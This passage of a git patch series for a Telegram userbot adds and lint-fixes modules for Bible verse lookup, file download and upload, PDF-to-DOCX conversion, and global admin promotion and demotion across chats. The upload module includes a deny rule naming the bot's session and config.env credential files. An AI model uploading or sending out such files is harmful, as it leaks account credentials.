None: + await event.edit("Input Not Found. 🤦") + try: + Hitler = input_str.split(":",2) + book = (Hitler[0]) + cr = (Hitler[1]) + ve = (Hitler[2]) + except: + await event.edit("Input Not Proper. Give Input in the form of `.bible bookName:chapter:verse` ") + try: + url = f"https://bible-api.com/{book.strip()}+{cr.strip()}:{ve.strip()}" + + pablo = requests.get(url).json() + + ref = pablo.get("reference") + mnmm = pablo.get("verses") + mnm = mnmm[0] + + bd = mnm.get("book_id") + + bn = mnm.get("book_name") + + chapter = mnm.get("chapter") + + verse = mnm.get("verse") + + texr = mnm.get("text") + + Escobar = f"""Bible Information Gathered +Book Name : {bn} +Book ID : {bd} +Chapter : {chapter} +Verse : {verse} +Reference : {ref} +Text : {texr.strip()} + + +By VirtualUserbot. Special thanks to @FridayOT +Get Your VirtualUserbot From @Infinity_Bots +""" + await borg.send_message( + event.chat_id, + Escobar, + parse_mode="HTML", + silent=True, + ) + await event.delete() + + except: + await event.edit("Given Text is Invalid. 🤦") + + + + + +CMD_HELP.update( + { + "bible": "**Bible**\ +\n\n**Syntax : **`.bible bookName:chapter:verse`\ +\n**Usage :** Gives verse from bible.\ +\n\n**Example : **`.bible John:5:2`\ +\nThis above syntax gives 2nd verse From 5th chapter from John book." + } +) From b3226b674003f4f3202ca04ef914cbbd26a9a811 Mon Sep 17 00:00:00 2001 From: InukaAsith Date: Thu, 21 Jan 2021 07:59:01 +0000 Subject: [PATCH 672/838] pylint: auto fixes --- fridaybot/modules/bible.py | 69 ++++++++++++++++++-------------------- 1 file changed, 32 insertions(+), 37 deletions(-) diff --git a/fridaybot/modules/bible.py b/fridaybot/modules/bible.py index e55bf5d4..49654567 100644 --- a/fridaybot/modules/bible.py +++ b/fridaybot/modules/bible.py @@ -1,12 +1,8 @@ -from telethon import events -from telethon.errors.rpcerrorlist import YouBlockedUserError +import requests from fridaybot import CMD_HELP -from fridaybot.utils import edit_or_reply, sudo_cmd, admin_cmd +from fridaybot.utils import admin_cmd -import json -from fridaybot import CMD_HELP -import requests @friday.on(admin_cmd(pattern="bible (.*)")) async def _(event): @@ -14,34 +10,36 @@ async def _(event): return input_str = event.pattern_match.group(1) if input_str is None: - await event.edit("Input Not Found. 🤦") + await event.edit("Input Not Found. 🤦") try: - Hitler = input_str.split(":",2) - book = (Hitler[0]) - cr = (Hitler[1]) - ve = (Hitler[2]) + Hitler = input_str.split(":", 2) + book = Hitler[0] + cr = Hitler[1] + ve = Hitler[2] except: - await event.edit("Input Not Proper. Give Input in the form of `.bible bookName:chapter:verse` ") + await event.edit( + "Input Not Proper. Give Input in the form of `.bible bookName:chapter:verse` " + ) try: - url = f"https://bible-api.com/{book.strip()}+{cr.strip()}:{ve.strip()}" - - pablo = requests.get(url).json() - - ref = pablo.get("reference") - mnmm = pablo.get("verses") - mnm = mnmm[0] + url = f"https://bible-api.com/{book.strip()}+{cr.strip()}:{ve.strip()}" + + pablo = requests.get(url).json() - bd = mnm.get("book_id") + ref = pablo.get("reference") + mnmm = pablo.get("verses") + mnm = mnmm[0] - bn = mnm.get("book_name") + bd = mnm.get("book_id") - chapter = mnm.get("chapter") + bn = mnm.get("book_name") - verse = mnm.get("verse") + chapter = mnm.get("chapter") - texr = mnm.get("text") + verse = mnm.get("verse") - Escobar = f"""Bible Information Gathered + texr = mnm.get("text") + + Escobar = f"""Bible Information Gathered Book Name : {bn} Book ID : {bd} Chapter : {chapter} @@ -53,19 +51,16 @@ async def _(event): By VirtualUserbot. Special thanks to @FridayOT Get Your VirtualUserbot From @Infinity_Bots """ - await borg.send_message( - event.chat_id, - Escobar, - parse_mode="HTML", - silent=True, - ) - await event.delete() - - except: - await event.edit("Given Text is Invalid. 🤦") - - + await borg.send_message( + event.chat_id, + Escobar, + parse_mode="HTML", + silent=True, + ) + await event.delete() + except: + await event.edit("Given Text is Invalid. 🤦") CMD_HELP.update( From 52ea6299fa88d9634db7f7a7fba15268908e42b5 Mon Sep 17 00:00:00 2001 From: Inuka ASiTH Date: Thu, 21 Jan 2021 13:32:43 +0530 Subject: [PATCH 673/838] Update requirements.txt --- requirements.txt | 1 + 1 file changed, 1 insertion(+) diff --git a/requirements.txt b/requirements.txt index 64019a85..889b90ac 100644 --- a/requirements.txt +++ b/requirements.txt @@ -95,5 +95,6 @@ emoji-country-flag langdetect fontTools googletrans +pdf2docx beautifulsoup4 bs4 From 223ecd5dcadb596ee0102d21847e2f9699352b8b Mon Sep 17 00:00:00 2001 From: Inuka ASiTH Date: Thu, 21 Jan 2021 23:26:43 +0530 Subject: [PATCH 674/838] Update upload_dl.py --- fridaybot/modules/upload_dl.py | 136 ++++++++++++++++++--------------- 1 file changed, 73 insertions(+), 63 deletions(-) diff --git a/fridaybot/modules/upload_dl.py b/fridaybot/modules/upload_dl.py index 7a01f8df..9c90308c 100644 --- a/fridaybot/modules/upload_dl.py +++ b/fridaybot/modules/upload_dl.py @@ -1,15 +1,13 @@ -# © By StarkGang™ And IndianBot™ -# For F.r.i.d.a.y And Indianbot ™ -""" Userbot module which contains everything related to \ - downloading/uploading from/to the server. """ - +# @UniBorg +from urllib.parse import urlparse import asyncio import json import math import os import subprocess import time - +from datetime import datetime +from urllib.parse import urlparse from hachoir.metadata import extractMetadata from hachoir.parser import createParser from pySmartDL import SmartDL @@ -79,66 +77,14 @@ def time_formatter(milliseconds: int) -> str: return tmp[:-2] -@friday.on(friday_on_cmd(pattern="download(?: |$)(.*)", outgoing=True)) +@friday.on(friday_on_cmd(pattern="download(?: |$)(.*)")) @friday.on(sudo_cmd(pattern="download(?: |$)(.*)", allow_sudo=True)) async def download(target_file): - """ For .dl command, download files to the fridaybot's server. """ friday = await edit_or_reply(target_file, "`Processing ...`") await friday.edit("Processing using VirtualUserbot server ( ◜‿◝ )♡") - input_str = target_file.pattern_match.group(1) if not os.path.isdir(TEMP_DOWNLOAD_DIRECTORY): os.makedirs(TEMP_DOWNLOAD_DIRECTORY) - if "|" in input_str: - url, file_name = input_str.split("|") - url = url.strip() - # https://stackoverflow.com/a/761825/4723940 - file_name = file_name.strip() - head, tail = os.path.split(file_name) - if head: - if not os.path.isdir(os.path.join(TEMP_DOWNLOAD_DIRECTORY, head)): - os.makedirs(os.path.join(TEMP_DOWNLOAD_DIRECTORY, head)) - file_name = os.path.join(head, tail) - downloaded_file_name = TEMP_DOWNLOAD_DIRECTORY + "" + file_name - downloader = SmartDL(url, downloaded_file_name, progress_bar=False) - downloader.start(blocking=False) - c_time = time.time() - display_message = None - while not downloader.isFinished(): - status = downloader.get_status().capitalize() - total_length = downloader.filesize if downloader.filesize else None - downloaded = downloader.get_dl_size() - now = time.time() - diff = now - c_time - percentage = downloader.get_progress() * 100 - downloader.get_speed() - round(diff) * 1000 - progress_str = "[{0}{1}] {2}%".format( - "".join(["▰" for i in range(math.floor(percentage / 10))]), - "".join(["▱" for i in range(10 - math.floor(percentage / 10))]), - round(percentage, 2), - ) - estimated_total_time = downloader.get_eta(human=True) - try: - current_message = f"{status}..\ - \nFOR : F.R.I.D.A.Y™ AND INDIANBOT™\ - \nURL: {url}\ - \nFile Name: {file_name}\ - \n{progress_str}\ - \n{humanbytes(downloaded)} of {humanbytes(total_length)}\ - \nETA: {estimated_total_time}" - - if round(diff % 10.00) == 0 and current_message != display_message: - await friday.edit(current_message) - display_message = current_message - except Exception as e: - LOGS.info(str(e)) - if downloader.isSuccessful(): - await friday.edit( - "Downloaded to `{}` successfully !!".format(downloaded_file_name) - ) - else: - await friday.edit("Incorrect URL\n{}".format(url)) - elif target_file.reply_to_msg_id: + if target_file.reply_to_msg_id: try: c_time = time.time() downloaded_file_name = await target_file.client.download_media( @@ -163,7 +109,7 @@ async def uploadir(udir_event): """ For .uploadir command, allows you to upload everything from a folder in the server""" input_str = udir_event.pattern_match.group(1) if os.path.exists(input_str): - await udir_event.edit("Downloading Using Userbot Server....") + await udir_event.edit("Downloading Using VirtualUserbot Server....") lst_of_files = [] for r, d, f in os.walk(input_str): for file in f: @@ -246,7 +192,7 @@ async def uploadir(udir_event): @register(pattern=r".upload (.*)", outgoing=True) async def upload(u_event): - """ For .upload command, allows you to upload a file from the fridaybot's server """ + """ For .upload command, allows you to upload a file from the VirtualUserbot's server """ await u_event.edit("Processing ...") input_str = u_event.pattern_match.group(1) if input_str in ("fridaybot.session", "config.env"): @@ -412,7 +358,71 @@ async def uploadas(uas_event): else: await uas_event.edit("404: File Not Found") - +@borg.on(friday_on_cmd(pattern='smartdl ?(.*)')) +async def lul(event): + input_str = event.pattern_match.group(1) + mone = await event.edit("**Processing..**") + start = datetime.now() + url = input_str + a = urlparse(input_str) + file_name = os.path.basename(a.path) + to_download_directory = Config.TMP_DOWNLOAD_DIRECTORY + downloaded_file_name = os.path.join(to_download_directory, file_name) + downloader = SmartDL(url, downloaded_file_name, progress_bar=False) + downloader.start(blocking=False) + display_message = "" + c_time = time.time() + while not downloader.isFinished(): + total_length = downloader.filesize if downloader.filesize else None + downloaded = downloader.get_dl_size() + now = time.time() + diff = now - c_time + percentage = downloader.get_progress() * 100 + speed = downloader.get_speed() + elapsed_time = round(diff) * 1000 + progress_str = "[{0}{1}]\nProgress: {2}%".format( + ''.join(["▰" for i in range(math.floor(percentage / 5))]), + ''.join(["▱" for i in range(20 - math.floor(percentage / 5))]), + round(percentage, 2)) + estimated_total_time = downloader.get_eta(human=True) + try: + current_message = f"trying to download\n" + current_message += f"URL: {url}\n" + current_message += f"File Name: {file_name}\n" + current_message += f"{progress_str}\n" + current_message += f"{humanbytes(downloaded)} of {humanbytes(total_length)}\n" + current_message += f"ETA: {estimated_total_time}" + if round(diff % 10.00) == 0 and current_message != display_message: + await mone.edit(current_message) + display_message = current_message + except Exception as e: + logger.info(str(e)) + end = datetime.now() + ms = (end - start).seconds + if downloader.isSuccessful(): + c_time = time.time() + lul = await mone.edit("Downloaded to `{}` in {} seconds.".format(downloaded_file_name, ms)) + await borg.send_file(event.chat_id, + downloaded_file_name, + caption=file_name, + force_document=False, + allow_cache=False, + progress_callback=lambda d, t: asyncio.get_event_loop().create_task( + progress( + d, + t, + event, + c_time, + "Uploading in Progress.......", + downloaded_file_name, + ) + ), + ) + await lul.delete() + os.remove(downloaded_file_name) + else: + await mone.edit("Incorrect URL\n {}".format(input_str)) + CMD_HELP.update( { "download": ".dl or reply to media\ From 04dd3188c1bf3787885201efb64054404dacb21b Mon Sep 17 00:00:00 2001 From: InukaAsith Date: Thu, 21 Jan 2021 17:57:24 +0000 Subject: [PATCH 675/838] pylint: auto fixes --- fridaybot/modules/upload_dl.py | 60 +++++++++++++++++++--------------- 1 file changed, 34 insertions(+), 26 deletions(-) diff --git a/fridaybot/modules/upload_dl.py b/fridaybot/modules/upload_dl.py index 9c90308c..9c45a05c 100644 --- a/fridaybot/modules/upload_dl.py +++ b/fridaybot/modules/upload_dl.py @@ -1,5 +1,4 @@ # @UniBorg -from urllib.parse import urlparse import asyncio import json import math @@ -8,6 +7,7 @@ import time from datetime import datetime from urllib.parse import urlparse + from hachoir.metadata import extractMetadata from hachoir.parser import createParser from pySmartDL import SmartDL @@ -358,7 +358,8 @@ async def uploadas(uas_event): else: await uas_event.edit("404: File Not Found") -@borg.on(friday_on_cmd(pattern='smartdl ?(.*)')) + +@borg.on(friday_on_cmd(pattern="smartdl ?(.*)")) async def lul(event): input_str = event.pattern_match.group(1) mone = await event.edit("**Processing..**") @@ -378,19 +379,22 @@ async def lul(event): now = time.time() diff = now - c_time percentage = downloader.get_progress() * 100 - speed = downloader.get_speed() - elapsed_time = round(diff) * 1000 + downloader.get_speed() + round(diff) * 1000 progress_str = "[{0}{1}]\nProgress: {2}%".format( - ''.join(["▰" for i in range(math.floor(percentage / 5))]), - ''.join(["▱" for i in range(20 - math.floor(percentage / 5))]), - round(percentage, 2)) + "".join(["▰" for i in range(math.floor(percentage / 5))]), + "".join(["▱" for i in range(20 - math.floor(percentage / 5))]), + round(percentage, 2), + ) estimated_total_time = downloader.get_eta(human=True) try: current_message = f"trying to download\n" current_message += f"URL: {url}\n" current_message += f"File Name: {file_name}\n" current_message += f"{progress_str}\n" - current_message += f"{humanbytes(downloaded)} of {humanbytes(total_length)}\n" + current_message += ( + f"{humanbytes(downloaded)} of {humanbytes(total_length)}\n" + ) current_message += f"ETA: {estimated_total_time}" if round(diff % 10.00) == 0 and current_message != display_message: await mone.edit(current_message) @@ -401,28 +405,32 @@ async def lul(event): ms = (end - start).seconds if downloader.isSuccessful(): c_time = time.time() - lul = await mone.edit("Downloaded to `{}` in {} seconds.".format(downloaded_file_name, ms)) - await borg.send_file(event.chat_id, - downloaded_file_name, - caption=file_name, - force_document=False, - allow_cache=False, - progress_callback=lambda d, t: asyncio.get_event_loop().create_task( - progress( - d, - t, - event, - c_time, - "Uploading in Progress.......", - downloaded_file_name, - ) - ), - ) + lul = await mone.edit( + "Downloaded to `{}` in {} seconds.".format(downloaded_file_name, ms) + ) + await borg.send_file( + event.chat_id, + downloaded_file_name, + caption=file_name, + force_document=False, + allow_cache=False, + progress_callback=lambda d, t: asyncio.get_event_loop().create_task( + progress( + d, + t, + event, + c_time, + "Uploading in Progress.......", + downloaded_file_name, + ) + ), + ) await lul.delete() os.remove(downloaded_file_name) else: await mone.edit("Incorrect URL\n {}".format(input_str)) - + + CMD_HELP.update( { "download": ".dl or reply to media\ From 707fd184e2266aaf3662cf2c61c05157c5124573 Mon Sep 17 00:00:00 2001 From: Inuka ASiTH Date: Thu, 21 Jan 2021 23:28:36 +0530 Subject: [PATCH 676/838] Create pdf2docx.py --- fridaybot/modules/pdf2docx.py | 51 +++++++++++++++++++++++++++++++++++ 1 file changed, 51 insertions(+) create mode 100644 fridaybot/modules/pdf2docx.py diff --git a/fridaybot/modules/pdf2docx.py b/fridaybot/modules/pdf2docx.py new file mode 100644 index 00000000..297fcc5d --- /dev/null +++ b/fridaybot/modules/pdf2docx.py @@ -0,0 +1,51 @@ +import asyncio +import os +import time +import time as t +import zipfile +from datetime import datetime +from fridaybot import CMD_HELP +from fridaybot.function import convert_to_image, crop_vid, runcmd +from fridaybot.utils import friday_on_cmd, sudo_cmd +from pdf2docx import parse + + +if not os.path.isdir(Config.TMP_DOWNLOAD_DIRECTORY): + os.makedirs(Config.TMP_DOWNLOAD_DIRECTORY) + + + +@friday.on(friday_on_cmd(pattern=r"pdf2docx")) +@friday.on(sudo_cmd(pattern=r"pdf2docx", allow_sudo=True)) +async def hmm(event): + if not event.reply_to_msg_id: + await event.reply("Reply to any Pdf File.") + return + hmmu = await event.reply("hmm... Please Wait...🚶") + lol = await event.get_reply_message() + starky = await borg.download_media(lol.media, Config.TMP_DOWNLOAD_DIRECTORY) + + hmmu = await event.reply("hmm... Please Wait...🚶") + + pdf_file = starky + docx_file = './fridaybot/DOWNLOADS/FRIDAYOT.docx' + + parse(pdf_file, docx_file, start=0, end=None) + + await borg.send_file( + event.chat_id, docx_file, caption=f"*PDF Converted Into Docx by VirtualUserbot. Special thanks to @FRIDAYOT." + ) + os.remove(pdf_file) + os.remove(docx_file) + await event.delete() + + + + +CMD_HELP.update( + { + "fileTools": "**File Tools**\ +\n\n**Syntax : **`.pdf2docx `\ +\n**Usage :** Converts Given Pdf Into Docx." + } +) From 3104ce105dd8e418009e2c826861e056e5dbe7db Mon Sep 17 00:00:00 2001 From: InukaAsith Date: Thu, 21 Jan 2021 17:59:28 +0000 Subject: [PATCH 677/838] pylint: auto fixes --- fridaybot/modules/pdf2docx.py | 26 ++++++++++---------------- 1 file changed, 10 insertions(+), 16 deletions(-) diff --git a/fridaybot/modules/pdf2docx.py b/fridaybot/modules/pdf2docx.py index 297fcc5d..10cf1a4c 100644 --- a/fridaybot/modules/pdf2docx.py +++ b/fridaybot/modules/pdf2docx.py @@ -1,18 +1,12 @@ -import asyncio import os -import time -import time as t -import zipfile -from datetime import datetime -from fridaybot import CMD_HELP -from fridaybot.function import convert_to_image, crop_vid, runcmd -from fridaybot.utils import friday_on_cmd, sudo_cmd + from pdf2docx import parse +from fridaybot import CMD_HELP +from fridaybot.utils import friday_on_cmd, sudo_cmd if not os.path.isdir(Config.TMP_DOWNLOAD_DIRECTORY): - os.makedirs(Config.TMP_DOWNLOAD_DIRECTORY) - + os.makedirs(Config.TMP_DOWNLOAD_DIRECTORY) @friday.on(friday_on_cmd(pattern=r"pdf2docx")) @@ -21,27 +15,27 @@ async def hmm(event): if not event.reply_to_msg_id: await event.reply("Reply to any Pdf File.") return - hmmu = await event.reply("hmm... Please Wait...🚶") + await event.reply("hmm... Please Wait...🚶") lol = await event.get_reply_message() starky = await borg.download_media(lol.media, Config.TMP_DOWNLOAD_DIRECTORY) - hmmu = await event.reply("hmm... Please Wait...🚶") + await event.reply("hmm... Please Wait...🚶") pdf_file = starky - docx_file = './fridaybot/DOWNLOADS/FRIDAYOT.docx' + docx_file = "./fridaybot/DOWNLOADS/FRIDAYOT.docx" parse(pdf_file, docx_file, start=0, end=None) await borg.send_file( - event.chat_id, docx_file, caption=f"*PDF Converted Into Docx by VirtualUserbot. Special thanks to @FRIDAYOT." + event.chat_id, + docx_file, + caption=f"*PDF Converted Into Docx by VirtualUserbot. Special thanks to @FRIDAYOT.", ) os.remove(pdf_file) os.remove(docx_file) await event.delete() - - CMD_HELP.update( { "fileTools": "**File Tools**\ From 9dd86c0002bc66fdbf7ef59ee695b8bafbbcc780 Mon Sep 17 00:00:00 2001 From: Inuka ASiTH Date: Fri, 22 Jan 2021 08:52:05 +0530 Subject: [PATCH 678/838] new --- fridaybot/modules/gprod.py | 161 +++++++++++++++++++++++++++++++++++++ 1 file changed, 161 insertions(+) create mode 100644 fridaybot/modules/gprod.py diff --git a/fridaybot/modules/gprod.py b/fridaybot/modules/gprod.py new file mode 100644 index 00000000..6e1a7f6c --- /dev/null +++ b/fridaybot/modules/gprod.py @@ -0,0 +1,161 @@ +#made by @danish_00 with sh1vam for DARKCOBRA USERBOT. JUST COPIED TO VIRTUALUSERBOT +#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam +marculs=9 +from telethon.errors.rpcerrorlist import (UserIdInvalidError, + MessageTooLongError) +from telethon.tl.functions.channels import (EditAdminRequest, + EditBannedRequest, + EditPhotoRequest) +from telethon.tl.functions.messages import UpdatePinnedMessageRequest +from telethon.tl.types import (ChannelParticipantsAdmins, + ChatAdminRights, + ChatBannedRights, + MessageEntityMentionName, + MessageMediaPhoto) +#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam +from ..utils import register, errors_handler +from ..utils import admin_cmd +from fridaybot import bot as borg +async def get_full_user(event): + args = event.pattern_match.group(1).split(':', 1) + extra = None + if event.reply_to_msg_id and not len(args) == 2: + previous_message = await event.get_reply_message() + user_obj = await event.client.get_entity(previous_message.sender_id) + extra = event.pattern_match.group(1) + elif len(args[0]) > 0: + user = args[0] + if len(args) == 2: + extra = args[1] + if user.isnumeric(): + user = int(user) + if not user: + await event.edit("`Itz not possible without an user ID`") + return + if event.message.entities is not None: + probable_user_mention_entity = event.message.entities[0] + if isinstance(probable_user_mention_entity, + MessageEntityMentionName): + user_id = probable_user_mention_entity.user_id + user_obj = await event.client.get_entity(user_id) + return user_obj + try: + user_obj = await event.client.get_entity(user) + except Exception as err: + return await event.edit("Error... Please report at @Dark_cobra_support_group", str(err)) + return user_obj, extra + +#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam +global hawk,moth +hawk="admin" +moth="owner" +async def get_user_from_id(user, event): + if isinstance(user, str): + user = int(user) + try: + user_obj = await event.client.get_entity(user) + except (TypeError, ValueError) as err: + await event.edit(str(err)) + return None + return user_obj +@borg.on(admin_cmd(pattern="gpromote ?(.*)")) +async def gben(userbot): + dc = dark = userbot + i = 0 + sender = await dc.get_sender() + me = await userbot.client.get_me() + await dark.edit("`promoting...`") + my_mention = "[{}](tg://user?id={})".format(me.first_name, me.id) + f"@{me.username}" if me.username else my_mention + await userbot.get_chat() + if userbot.is_private: + user = userbot.chat + rank = userbot.pattern_match.group(1) + else: + userbot.chat.title + try: + user, rank = await get_full_user(userbot) + except: + pass + if me == user: + k = await dark.edit("U want to promote urself 😑😑 waao..") + return + try: + if not rank: + rank = "ㅤㅤ" + except: + return await dark.edit(f"**Something W3NT Wrong 🤔**") + if user: + telchanel = [d.entity.id + for d in await userbot.client.get_dialogs() + if (d.is_group or d.is_channel) + ] + rgt = ChatAdminRights(add_admins=False, + invite_users=True, + change_info=False, + ban_users=True, + delete_messages=True, + pin_messages=True) + for x in telchanel: + try: + await userbot.client(EditAdminRequest(x, user, rgt, rank)) + i += 1 + await dark.edit(f"**Promoted in Chats **: `{i}`") + except: + pass + else: + await dark.edit(f"**Reply to a user you dumbo !!**") + return await dark.edit( + f"**Globally promoted [{user.first_name}](tg://user?id={user.id})\n On Chats😏 : {i} **" + ) +@borg.on(admin_cmd(pattern="gdemote ?(.*)")) +async def gben(userbot): + dc = dark = userbot + i = 0 + sender = await dc.get_sender() + me = await userbot.client.get_me() + await dark.edit("`demoting...`") + my_mention = "[{}](tg://user?id={})".format(me.first_name, me.id) + f"@{me.username}" if me.username else my_mention + await userbot.get_chat() + if userbot.is_private: + user = userbot.chat + rank = userbot.pattern_match.group(1) + else: + userbot.chat.title + try: + user, rank = await get_full_user(userbot) + except: + pass + if me == user: + k = await dark.edit("U want to demote urself 😑😑 waao..") + return + try: + if not rank: + rank = "ㅤㅤ" + except: + return await dark.edit(f"**Something W3NT Wrong 🤔**") + if user: + telchanel = [d.entity.id + for d in await userbot.client.get_dialogs() + if (d.is_group or d.is_channel) + ] + rgt = ChatAdminRights(add_admins=None, + invite_users=None, + change_info=None, + ban_users=None, + delete_messages=None, + pin_messages=None) + for x in telchanel: + try: + await userbot.client(EditAdminRequest(x, user, rgt, rank)) + i += 1 + await dark.edit(f"**Demoted in Chats **: `{i}`") + except: + pass + else: + await dark.edit(f"**Reply to a user you dumbo !!**") + return await dark.edit( + f"**Globally Demoted [{user.first_name}](tg://user?id={user.id})\n On Chats😏 : {i} **" + ) +#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam From 6a9113f56f543fb50ee2131b8e105c71e95f2f8f Mon Sep 17 00:00:00 2001 From: InukaAsith Date: Fri, 22 Jan 2021 03:23:02 +0000 Subject: [PATCH 679/838] pylint: auto fixes --- fridaybot/modules/gprod.py | 140 ++++++++++++++++++++----------------- 1 file changed, 75 insertions(+), 65 deletions(-) diff --git a/fridaybot/modules/gprod.py b/fridaybot/modules/gprod.py index 6e1a7f6c..46564afd 100644 --- a/fridaybot/modules/gprod.py +++ b/fridaybot/modules/gprod.py @@ -1,23 +1,17 @@ -#made by @danish_00 with sh1vam for DARKCOBRA USERBOT. JUST COPIED TO VIRTUALUSERBOT -#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam -marculs=9 -from telethon.errors.rpcerrorlist import (UserIdInvalidError, - MessageTooLongError) -from telethon.tl.functions.channels import (EditAdminRequest, - EditBannedRequest, - EditPhotoRequest) -from telethon.tl.functions.messages import UpdatePinnedMessageRequest -from telethon.tl.types import (ChannelParticipantsAdmins, - ChatAdminRights, - ChatBannedRights, - MessageEntityMentionName, - MessageMediaPhoto) -#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by 